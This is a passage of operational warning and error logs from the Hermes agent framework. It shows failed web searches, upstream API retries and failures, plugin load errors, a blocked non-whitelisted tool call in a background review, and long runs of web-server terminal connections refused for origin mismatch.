[20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:22:50,034 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (2.76s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 17:22:55,910 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:22:55,911 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (2.97s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 17:23:10,205 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:23:10,218 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.11s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 17:23:14,434 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:23:14,437 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (2.59s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 17:32:30,487 WARNING [20260721_060236_7c97850b] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-24 17:32:30,487 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.10s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-24 17:34:54,283 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.22s): {"success": false, "error": "Could not find a match for old_string in the file\n\nDid you mean one of these sections?\n 26| $$\\text{Hệ số phòng/dân số (Keys per 1,000 residents)} = \\frac{\\text{Tổn 2026-07-24 18:36:00,601 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: API call failed (attempt 1/3) error_type=RuntimeError thread=hermes-gateway_1:131961387480768 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:36:00,603 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: Retrying API call in 2.72298335131076s (attempt 1/3) thread=hermes-gateway_1:131961387480768 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:36:05,994 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: API call failed (attempt 2/3) error_type=RuntimeError thread=hermes-gateway_1:131961387480768 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:36:05,994 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: Retrying API call in 5.395743804838475s (attempt 2/3) thread=hermes-gateway_1:131961387480768 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:36:14,244 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: API call failed (attempt 3/3) error_type=RuntimeError thread=hermes-gateway_1:131961387480768 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:36:14,263 ERROR [20260724_140721_b1f742aa] agent.conversation_loop: API call failed after 3 retries. Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). | provider=custom model=default msgs=37 tokens=~42,264 2026-07-24 18:39:26,270 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: API call failed (attempt 1/3) error_type=RuntimeError thread=hermes-gateway_0:131962749556416 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:39:26,271 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: Retrying API call in 2.4462504590512877s (attempt 1/3) thread=hermes-gateway_0:131962749556416 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:40:18,667 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool terminal returned error (0.12s): {"output": "Traceback (most recent call last):\n File \"\", line 3, in \n File \"/usr/local/share/uv/python/cpython-3.11.15-linux-x86_64-gnu/lib/python3.11/json/__init__.py\", line 2 2026-07-24 18:42:23,634 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: API call failed (attempt 1/3) error_type=APIConnectionError thread=bg-review:131961835210432 provider=custom base_url=http://localhost:20128/v1 model=default summary=Connection error. 2026-07-24 18:42:23,638 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: Retrying API call in 2.2870192899140207s (attempt 1/3) thread=bg-review:131961835210432 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Connection error. 2026-07-24 18:43:10,929 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: API call failed (attempt 1/3) error_type=RuntimeError thread=bg-review:131961835210432 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:43:10,930 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: Retrying API call in 2.799057006600329s (attempt 1/3) thread=bg-review:131961835210432 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:43:39,128 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: API call failed (attempt 1/3) error_type=RuntimeError thread=hermes-gateway_1:131961387480768 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:43:39,129 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: Retrying API call in 2.699383090556183s (attempt 1/3) thread=hermes-gateway_1:131961387480768 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:43:39,719 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: API call failed (attempt 2/3) error_type=RuntimeError thread=bg-review:131961835210432 provider=custom base_url=http://localhost:20128/v1 model=default summary=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:43:39,721 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: Retrying API call in 4.108393097369751s (attempt 2/3) thread=bg-review:131961835210432 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Provider returned an empty stream with no finish_reason (possible upstream error or malformed SSE response). 2026-07-24 18:43:53,765 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool patch returned error (0.00s): {"error": "Background review denied non-whitelisted tool: patch. Only memory/skill tools are allowed."} 2026-07-24 18:44:06,734 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool terminal returned error (0.06s): {"output": "_meta providerConnections settings \napiKeys providerNodes usageDaily \ncombos proxyPools usageHistory \ 2026-07-24 18:44:52,912 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool skill_manage returned error (0.53s): {"success": false, "error": "Skill '' not found in active profile 'default'. Use skills_list() to see available skills."} 2026-07-24 18:45:03,249 WARNING [20260724_140721_b1f742aa] agent.tool_executor: Tool execute_code returned error (0.20s): {"status": "error", "output": "\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_qntwwrus/script.py\", line 213, in \n cursor.execute(\nsqlite3.IntegrityErr 2026-07-24 18:45:24,717 WARNING [20260724_140721_b1f742aa] agent.conversation_loop: API call failed (attempt 1/3) error_type=NotFoundError thread=hermes-gateway_1:131961387480768 provider=custom base_url=http://localhost:20128/v1 model=default summary=HTTP 404: No active credentials for provider: openai 2026-07-24 18:45:25,118 ERROR [20260724_140721_b1f742aa] agent.conversation_loop: Non-retryable client error: Error code: 404 - {'error': {'message': 'No active credentials for provider: openai', 'type': 'invalid_request_error', 'code': 'model_not_found'}} 2026-07-24 18:53:00,450 WARNING gateway.run: Shutdown context: signal=SIGTERM under_systemd=yes parent_pid=1 parent_name=systemd loadavg_1m=0.37 parent_cmdline='/sbin/init' 2026-07-29 06:20:23,878 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-07-29 06:20:26,092 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-08-01 06:21:17,068 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-08-01 06:21:18,757 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-08-02 06:15:25,421 WARNING hermes_cli.web_server: event loop stalled 23.7s (GIL pressure suspected) 2026-08-06 07:59:10,882 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 07:59:12,563 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 07:59:13,763 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 07:59:16,711 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 07:59:20,790 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 07:59:26,298 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 07:59:33,674 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 07:59:39,252 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 07:59:48,727 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 07:59:55,407 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:00:01,339 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:00:10,982 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:00:18,698 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:00:26,707 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:00:32,766 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:00:38,326 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:00:45,976 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:00:54,747 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:01:02,935 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:01:10,831 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:01:18,273 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:01:26,680 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:01:34,957 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:01:40,892 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:01:47,819 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:01:55,971 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:02:02,424 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:02:11,082 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:02:17,541 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:02:24,927 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:02:31,196 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:02:37,775 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:02:45,606 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:02:52,411 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:03:00,160 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:03:07,726 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:03:13,813 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:03:22,103 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-06 08:03:28,945 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:03,931 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:05,691 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:08,011 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:09,918 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:17,801 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:19,781 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:24,218 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:27,360 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:34,424 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:40,237 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:45,719 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:53,450 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:03:58,098 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:04:03,616 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:04:09,730 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:04:17,303 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:04:22,920 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:04:31,138 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:04:35,781 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:04:40,173 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:04:45,167 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:04:49,381 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:04:55,408 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:05:00,177 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:05:06,393 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:05:12,519 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:05:20,334 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:05:27,203 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:05:34,766 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:05:39,551 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:05:47,220 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:05:51,604 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:05:55,327 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:05:59,861 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:06:04,367 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:06:10,587 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:06:15,685 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:06:21,749 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:06:29,795 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:06:36,600 WARNING plugins.memory: Memory provider 'honcho' loaded but no provider instance found 2026-08-07 15:06:36,654 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:06:44,355 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:06:50,837 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:06:56,812 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:01,675 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:08,032 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:14,074 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:21,368 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:28,560 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:34,676 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:40,789 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:49,357 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:52,035 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:54,224 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:55,461 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:56,483 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:07:57,850 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:08:01,967 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:08:07,079 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:08:12,731 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:08:16,813 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:08:23,323 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:08:28,646 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:08:34,771 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:08:42,511 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:08:48,968 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:08:54,643 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:09:00,024 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:09:06,638 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:09:11,968 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:09:16,968 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:09:22,810 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:09:30,871 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:09:39,167 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:09:47,520 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:09:53,688 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:10:00,734 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:10:08,562 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:10:16,861 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:10:23,845 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:10:51,361 WARNING hermes_cli.web_server: pty refused: 